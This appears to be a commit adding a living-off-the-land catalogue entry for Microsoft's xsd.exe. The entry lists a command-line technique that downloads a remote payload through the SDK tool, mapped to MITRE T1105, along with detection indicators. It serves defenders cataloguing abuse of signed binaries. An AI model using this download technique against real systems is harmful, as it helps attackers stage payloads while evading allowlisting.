Add Xsd.yml (#366)

yml/OtherMSBinaries/xsd.yml

@@ -0,0 +1,23 @@
+---
+Name: xsd.exe
+Description: XML Schema Definition Tool included with the Windows Software Development Kit (SDK).
+Author: Avihay Eldad
+Created: 2024-04-09
+Commands:
+  - Command: xsd.exe http://example.com/payload
+    Description: Downloads payload from remote server
+    Usecase: It will download a remote payload and place it in INetCache
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    OperatingSystem: Windows
+    Tags:
+      - Download: INetCache
+Full_Path:
+  - Path: C:\Program Files (x86)\Microsoft SDKs\Windows\{version}\bin\NETFX {version} Tools\xsd.exe
+Detection:
+  - IOC: URL on a xsd.exe command line
+  - IOC: xsd.exe making unexpected network connections or DNS requests
+Acknowledgement:
+  - Person: Avihay Eldad
+    Handle: '@AvihayEldad'